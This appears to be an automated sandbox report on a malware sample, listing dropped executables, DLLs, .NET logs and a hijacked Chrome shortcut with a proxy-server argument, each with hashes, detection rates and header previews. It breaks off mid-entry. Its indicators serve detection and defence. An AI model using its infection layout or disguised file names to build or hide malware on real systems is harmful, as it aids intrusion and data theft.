File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\xprfjygruytr\etzpikspwykg.exe

Download File

Process:	C:\Users\user\Documents\iofolko5\wvASxpczH5zLyfxXnILhiH8_.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	10902016
Entropy (8bit):	7.966543494488889
Encrypted:	false
SSDEEP:	196608:+Oix0DABAAtXftiAf6xz1Z5PVm6Gcj+TqnC6fOaSz/n2EgfY0gEMtw1:QOcXfC7bE9fjCfY0gg
MD5:	025EBE0A476FE1A27749E6DA0EEA724F
SHA1:	FE844380280463B927B9368F9EACE55EB97BAAB7
SHA-256:	2A51D50F42494C6AB6027DBD35F8861BDD6FE1551F5FB30BF10138619F4BC4B2
SHA-512:	5F2B40713CC4C54098DA46F390BBEB0AC2FC0C0872C7FBDFDCA26AB087C81FF0144B89347040CC93E35B5E5DD5DC102DB28737BAEA616183BEF4CAECEBFB9799
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 88% Antivirus: Virustotal, Detection: 74%, Browse
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...0..f..........#.................o..........@.......................................... ....................................................<...........@S..`*..........................................P...(....R..8............ .. ............................text............................... ..`.rdata.. ...........................@..@.data...............................@....pdata..............................@..@.00cfg..............................@..@.tls................................@....text0...:(......................... ..`.text1..X.... ......................@....text2...M...0...N..................`..h.rsrc................T..............@..@........................................................................................................................................................................................................................

C:\Users\Public\Desktop\Google Chrome.lnk

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Description string, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:41 2023, mtime=Wed Oct 4 11:02:29 2023, atime=Wed Sep 27 04:28:27 2023, length=3242272, window=hide
Category:	dropped
Size (bytes):	2104
Entropy (8bit):	3.455792566789335
Encrypted:	false
SSDEEP:	48:8S3ZdZTBnxRYrnvPdAKRkdAGdAKRFdAKR/U:8S3NK
MD5:	9BFB38326A0C4D46B79B0A858B988974
SHA1:	07BC5B360C3AEB0D5CDEE36F3D1AF06C7CADC539
SHA-256:	EB071FE5BDB63AD26AC6DA2DF0AF790FD14DAAB5C5D1D9EC5AB57F94D9F25EA4
SHA-512:	87826ABBF68B4E9FC399937925CBC99773CD261628C535EC51813E317C74E2B5C2BA247DAD42FFF3FC59F93BA06FE950B9D0C092C6A3A07A0DF8044D65A353D4
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ......,....Y..........q.... y1.....................#....P.O. .:i.....+00.../C:\.....................1.....DW.V..PROGRA~1..t......O.IDW5`....B...............J.....i...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VDWO`....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VDWO`....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VDWO`..........................."&.A.p.p.l.i.c.a.t.i.o.n.....`.2. y1.;W.+ .chrome.exe..F......CW.VDWH`..........................,.6.c.h.r.o.m.e...e.x.e.......d...............-.......c............F.......C:\Program Files\Google\Chrome\Application\chrome.exe....A.c.c.e.s.s. .t.h.e. .I.n.t.e.r.n.e.t.;.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.!.-.-.p.r.o.x.y.-.s.e.r.v.e.r

C:\Users\userDGHCBAAEHC.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	301608
Entropy (8bit):	7.955071519540768
Encrypted:	false
SSDEEP:	6144:RTdOxN3KvIKuzpHwR9WUoNAsWKGHgVmA5EO:jOwIKJR0NLSAf5EO
MD5:	20C0E4911043ACDF83CD6F5818060B6D
SHA1:	B38D5071947E729EA05CAA84958B515B53DA5DB6
SHA-256:	656C58153302A82BDC4994A170163628F1AEDD101B0EFE6471B5AF0D4173C1F5
SHA-512:	AECE9C46C5274E3660016D2795CCC0EAE9578FA40EC39679E8385398675FCFBC2D08D7ED105CBAFB75CED2224EE8E76720E2BF41D2C25F4A7992FA245B71543B
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 54% Antivirus: Virustotal, Detection: 38%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....5.f.................h.............. ........@.. ....................................`.....................................K....................t..(&..........L................................................ ............... ..H............text....f... ...h.................. ..`.rsrc................j..............@..@.reloc...............r..............@..B........................H.......(&...............=...............................................0..].......+.(aG.0~....:K.........(.... .... .... ....s....(............(....(.... ....?....r...ps....z...6+.(..Vb(......N+.(..xD(.....(.....+.(...2(...........%.....(......... .$.......%.....(..........j+.(..(g(.....(......(......0..4.......+.(...h....8......o......(......X...o....?....(.....0..K....... .......... ............8.......(..... ..... &.S!.. .b4... ni.... .-.a.. .Da... 0.1].. ..jt.. .

C:\Users\userJJJJDAAECG.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	353832
Entropy (8bit):	7.965251738131194
Encrypted:	false
SSDEEP:	6144:HCscw+zLtJ08v3OFg8heEd/AWIEjIizwvM/MCkBwIvHm413YhkXR7oEO:5MLj08vgg8heEOv0lUth+4FYhucEO
MD5:	197D0030A586A58018E1B782AD30AAC2
SHA1:	B1F31DF2A1325581B42D721175192B34454075B3
SHA-256:	B713E25A919FF9981E87D770EF46432843C3FFDB3D395564A7DC65BB55FA420E
SHA-512:	8D01BFF9EBB6795B85C143AAC184F04B0483E2A2DDCD6AEAF5FE491521AD96F2756C6E9162FBFF941F6E22712D5975D88FA14A32CC0B59269335B5EFED2D49E5
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 26% Antivirus: Virustotal, Detection: 39%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..../.f.................4...........R... ...`....@.. ....................................`..................................R..K....`...............@..(&..........LR............................................... ............... ..H............text....2... ...4.................. ..`.rsrc........`.......6..............@..@.reloc...............>..............@..B.................R......H.......(&...............=...............................................0..].......+.(..`e~....:K.........(.... .... .... ....s....(............(....(.... ....?....r...ps....z...6+.(..=O(......N+.(.p.5(.....(.....+.(E.Gd(...........%.....(......... .........%.....(..........j+.(/d.d(.....(......(......0..4.......+.(..Rb....8......o......(......X...o....?....(.....0..K....... .......... ............8.......(..... ..... &.S!.. .b4... ni.... .-.a.. .Da... 0.1].. ..jt.. .

C:\Users\user\AppData\Local\ExtreamFanV6\ExtreamFanV6.exe

Download File

Process:	C:\Users\user\Documents\iofolko5\REaoHTwA9AqN_cDvubi9mxZt.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	8684256
Entropy (8bit):	7.036585407539768
Encrypted:	false
SSDEEP:	98304:yvOB51QmIWth3e1PTbEYBkQyShbkqdwOyAuYJvdVuWFY:y+51/Iqh3e1PTbE7QbCqeYbM8
MD5:	B5887A19FE50BFA32B524AAAD0A453BC
SHA1:	CD1F3905959CD596C83730A5B03CEEF4E9F2A877
SHA-256:	FCE5CBEEC1EB5274FC3AFA55E57FB2F724688CB9D4661A8A86716011493564C7
SHA-512:	5B9914C94101B53314B14335E687552E5DA0A4085AFB826AE94F45769E9B1E66A35624B6E6B60257514F4ADF2ACC5C9E048BFA3A24AAFB891D203E3011C02538
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 79% Antivirus: Virustotal, Detection: 72%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....P..............................&... ...@....@.. ....................... ......I.....@..................................&..K....`.............................6&............................................... ............... ..H............text........ ...................... ..`.sdata.......@......................@....rsrc.......`......................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\1YtOZF0EeqgcR_ddwAXkTcuY.exe.log

Download File

Process:	C:\Users\user\Documents\iofolko5\1YtOZF0EeqgcR_ddwAXkTcuY.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	42
Entropy (8bit):	4.0050635535766075
Encrypted:	false
SSDEEP:	3:QHXMKa/xwwUy:Q3La/xwQ
MD5:	84CFDB4B995B1DBF543B26B86C863ADC
SHA1:	D2F47764908BF30036CF8248B9FF5541E2711FA2
SHA-256:	D8988D672D6915B46946B28C06AD8066C50041F6152A91D37FFA5CF129CC146B
SHA-512:	485F0ED45E13F00A93762CBF15B4B8F996553BAA021152FAE5ABA051E3736BCD3CA8F4328F0E6D9E3E1F910C96C4A9AE055331123EE08E3C2CE3A99AC2E177CE
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\2Umx78uafM0WA03fzJyYYhBa.exe.log

Download File

Process:	C:\Users\user\Documents\iofolko5\2Umx78uafM0WA03fzJyYYhBa.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	42
Entropy (8bit):	4.0050635535766075
Encrypted:	false
SSDEEP:	3:QHXMKa/xwwUy:Q3La/xwQ
MD5:	84CFDB4B995B1DBF543B26B86C863ADC
SHA1:	D2F47764908BF30036CF8248B9FF5541E2711FA2
SHA-256:	D8988D672D6915B46946B28C06AD8066C50041F6152A91D37FFA5CF129CC146B
SHA-512:	485F0ED45E13F00A93762CBF15B4B8F996553BAA021152FAE5ABA051E3736BCD3CA8F4328F0E6D9E3E1F910C96C4A9AE055331123EE08E3C2CE3A99AC2E177CE
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\7wpHB_IZvVwIDf0EgO_TfPH6.exe.log

Download File

Process:	C:\Users\user\Documents\iofolko5\7wpHB_IZvVwIDf0EgO_TfPH6.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	42
Entropy (8bit):	4.0050635535766075
Encrypted:	false
SSDEEP:	3:QHXMKa/xwwUy:Q3La/xwQ
MD5:	84CFDB4B995B1DBF543B26B86C863ADC
SHA1:	D2F47764908BF30036CF8248B9FF5541E2711FA2
SHA-256:	D8988D672D6915B46946B28C06AD8066C50041F6152A91D37FFA5CF129CC146B
SHA-512:	485F0ED45E13F00A93762CBF15B4B8F996553BAA021152FAE5ABA051E3736BCD3CA8F4328F0E6D9E3E1F910C96C4A9AE055331123EE08E3C2CE3A99AC2E177CE
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\QUh1lM2wAJwuyCkYckhrDFwz.exe.log

Download File

Process:	C:\Users\user\Documents\iofolko5\QUh1lM2wAJwuyCkYckhrDFwz.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	42
Entropy (8bit):	4.0050635535766075
Encrypted:	false
SSDEEP:	3:QHXMKa/xwwUy:Q3La/xwQ
MD5:	84CFDB4B995B1DBF543B26B86C863ADC
SHA1:	D2F47764908BF30036CF8248B9FF5541E2711FA2
SHA-256:	D8988D672D6915B46946B28C06AD8066C50041F6152A91D37FFA5CF129CC146B
SHA-512:	485F0ED45E13F00A93762CBF15B4B8F996553BAA021152FAE5ABA051E3736BCD3CA8F4328F0E6D9E3E1F910C96C4A9AE055331123EE08E3C2CE3A99AC2E177CE
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\REaoHTwA9AqN_cDvubi9mxZt.exe.log

Download File

Process:	C:\Users\user\Documents\iofolko5\REaoHTwA9AqN_cDvubi9mxZt.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	617
Entropy (8bit):	5.3554278163807965
Encrypted:	false
SSDEEP:	12:Q3La/hz92n4M9tDLI4MWuPTAOKbbDLI4MWuPJKAVKharkvoDLI4MWuCv:MLU84qpE4KlKDE4KhKiKhIE4Ks
MD5:	8378C2E2DA2FDD2FB813AA6E18705667
SHA1:	EFA4CF7D0E19099EB95C3BCA32F6A5D111BFFF30
SHA-256:	C12EA9B40BA290B624BB2DDAFD4CB2CDC1C05AE1F5F142899D53CF9C54DFFA06
SHA-512:	69C0E61617DFD6F843ECBA8D9328D6737BADAFB622236D3AC79E03590AFAFC5523E10D5E52AD8ACABD71EF9F4B202A654A386E1DF799CC9219CA4678145CDFDD
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\RegAsm.exe.log

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1119
Entropy (8bit):	5.345080863654519
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0Hj
MD5:	88593431AEF401417595E7A00FE86E5F
SHA1:	1714B8F6F6DCAAB3F3853EDABA7687F16DD331F4
SHA-256:	ED5E60336FB00579E0867B9615CBD0C560BB667FE3CEE0674F690766579F1032
SHA-512:	1D442441F96E69D8A6D5FB7E8CF01F13AF88CA2C2D0960120151B15505DD1CADC607EF9983373BA8E422C65FADAB04A615968F335A875B5C075BB9A6D0F346C9
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\gobEmOm5sr.exe.log

Download File

Process:	C:\Users\user\Desktop\gobEmOm5sr.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	522
Entropy (8bit):	5.358731107079437
Encrypted:	false
SSDEEP:	12:Q3La/hz92n4M9tDLI4MWuPTAOKbbDLI4MWuPJKAVKhav:MLU84qpE4KlKDE4KhKiKhk
MD5:	93E4C46884CB6EE7CDCC4AACE78CDFAC
SHA1:	29B12D9409BA9AFE4C949F02F7D232233C0B5228
SHA-256:	2690023A62F22AB7B27B09351205BA31173B50B77ACA89A5759EDF29A1FB17F7
SHA-512:	E9C3E2FCEE4E13F7776665295A4F6085002913E011BEEF32C8E7065140937DDE1963182B547CC75110BF32AE5130A6686D5862076D5FFED9241F183B9217FA4D
Malicious:	true
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\66c6fcb30b9dd_123p[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	10902016
Entropy (8bit):	7.966543494488889
Encrypted:	false
SSDEEP:	196608:+Oix0DABAAtXftiAf6xz1Z5PVm6Gcj+TqnC6fOaSz/n2EgfY0gEMtw1:QOcXfC7bE9fjCfY0gg
MD5:	025EBE0A476FE1A27749E6DA0EEA724F
SHA1:	FE844380280463B927B9368F9EACE55EB97BAAB7
SHA-256:	2A51D50F42494C6AB6027DBD35F8861BDD6FE1551F5FB30BF10138619F4BC4B2
SHA-512:	5F2B40713CC4C54098DA46F390BBEB0AC2FC0C0872C7FBDFDCA26AB087C81FF0144B89347040CC93E35B5E5DD5DC102DB28737BAEA616183BEF4CAECEBFB9799
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 88% Antivirus: Virustotal, Detection: 74%, Browse
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...0..f..........#.................o..........@.......................................... ....................................................<...........@S..`*..........................................P...(....R..8............ .. ............................text............................... ..`.rdata.. ...........................@..@.data...............................@....pdata..............................@..@.00cfg..............................@..@.tls................................@....text0...:(......................... ..`.text1..X.... ......................@....text2...M...0...N..................`..h.rsrc................T..............@..@........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\install[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3443448
Entropy (8bit):	7.997758813389609
Encrypted:	true
SSDEEP:	98304:x4Z9IbHIz49/nxOC/7MIKkRhJWXHiOgNyD4:gIbHIz6nxt/7MG/Jwiw4
MD5:	6B974C3C8790EC1BD9CC7403CCA3D1BA
SHA1:	C288051FE2B445AB94F7230C700A262D1862330A
SHA-256:	335ADC172E24635E46E8AC640A099A45A350BC8CDA42EA7D578B5E272DC66CD3
SHA-512:	98F71871972D57688991574609909FB02AA0D100394F05656753BC294EC858D280EAA073423B5FEC3A8495DA168B261AEACA87C79D038EA03DE00C98EFB77B5C
Malicious:	true
Antivirus:	Antivirus: Virustotal, Detection: 25%, Browse
Reputation:	unknown
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.....................F......@.............@..........................@.......x5..........@..............................P........,...........k4.X...........................................................................................CODE....d........................... ..`DATA....L...........................@...BSS......................................idata..P...........................@....tls.....................................rdata..............................@..P.reloc..............................@..P.rsrc....,.......,..................@..P.............@......................@..P........................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\lamp[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1792000
Entropy (8bit):	7.944125085919487
Encrypted:	false
SSDEEP:	49152:2uusp5JHXxIG5Fu8ixkzSEjoqWikq1j8m:eEJ3xIG7u8pzxo/
MD5:	B914F31B2599675CB8A7AC4C9262ECD8
SHA1:	00823733CCA7494E9EAB8683B24CCEEF06B9FB8E
SHA-256:	F0947EAFF9837140AF164952D5FF422E3F9E35CEA5C85A67709FB97638D03F12
SHA-512:	CE490F5A9EF7B23AE352EB735B53846A1A07272DE7F291E63D464FDA61A26B771BAB063214E5EA007DD83B4A5FA16B7248FF01B39DA43D95989D724625F96D57
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 34% Antivirus: Virustotal, Detection: 39%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b...............u^......uk......u_......{v.....fz.......{f..............uZ......uh.....Rich............PE..L...M..f.....................B"......Ph...........@...........................h...........@.................................P.#.d.............................#..................................................................................... . ..#......<..................@....rsrc ......#......L..............@....idata ......#......L..............@... .P*...$......N..............@...lxojhmjk.....PN......P..............@...mdoopayt.....@h......2..............@....taggant.0...Ph.."...6..............@...................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\sgnr[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	222248
Entropy (8bit):	7.927546681662511
Encrypted:	false
SSDEEP:	6144:uU3UF1eC8Wi6Pu9phEjA0s63EPjjxnXUoM/AgvzEO:Kn8vr8PHEPjjxX6LvzEO
MD5:	B81AC0BD6737ADC5D296E9D86491D9F4
SHA1:	D03EBB99EC66922AFDE8DB9D215951CDC0EFB4E1
SHA-256:	67E2D5803B527DF56D0C9CEDE90C29AEECFD0B3910D45FBD46C26E6CBF0E8A89
SHA-512:	5894B140EC2E40B070A5D116D8D021AAB9E675F1280924B9B6D9545D8B2C2DFEB96B6CC8AD60B396EBF6EF4B946AA76ADDBD2D15CF97E5248976394B8D6068BA
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 26% Antivirus: Virustotal, Detection: 37%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....0.f.................2...........P... ...`....@.. ....................................`..................................P..K....`...............>..(&..........LP............................................... ............... ..H............text....0... ...2.................. ..`.rsrc........`.......4..............@..@.reloc...............<..............@..B.................P......H.......(&...............=...............................................0..].......+.(..P]~....:K.........(.... .... .... ....s....(............(....(.... ....?....r...ps....z...6+.(3..3(......N+.(.i#R(.....(.....+.(...g(...........%.....(......... .........%.....(..........j+.(.F7S(.....(......(......0..4.......+.(..BY....8......o......(......X...o....?....(.....0..K....... .......... ............8.......(..... ..... &.S!.. .b4... ni.... .-.a.. .Da... 0.1].. ..jt.. .

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\vjgg[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	301608
Entropy (8bit):	7.955071519540768
Encrypted:	false
SSDEEP:	6144:RTdOxN3KvIKuzpHwR9WUoNAsWKGHgVmA5EO:jOwIKJR0NLSAf5EO
MD5:	20C0E4911043ACDF83CD6F5818060B6D
SHA1:	B38D5071947E729EA05CAA84958B515B53DA5DB6
SHA-256:	656C58153302A82BDC4994A170163628F1AEDD101B0EFE6471B5AF0D4173C1F5
SHA-512:	AECE9C46C5274E3660016D2795CCC0EAE9578FA40EC39679E8385398675FCFBC2D08D7ED105CBAFB75CED2224EE8E76720E2BF41D2C25F4A7992FA245B71543B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 54% Antivirus: Virustotal, Detection: 38%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....5.f.................h.............. ........@.. ....................................`.....................................K....................t..(&..........L................................................ ............... ..H............text....f... ...h.................. ..`.rsrc................j..............@..@.reloc...............r..............@..B........................H.......(&...............=...............................................0..].......+.(aG.0~....:K.........(.... .... .... ....s....(............(....(.... ....?....r...ps....z...6+.(..Vb(......N+.(..xD(.....(.....+.(...2(...........%.....(......... .$.......%.....(..........j+.(..(g(.....(......(......0..4.......+.(...h....8......o......(......X...o....?....(.....0..K....... .......... ............8.......(..... ..... &.S!.. .b4... ni.... .-.a.. .Da... 0.1].. ..jt.. .

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\66d59ef9d4404_premium[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
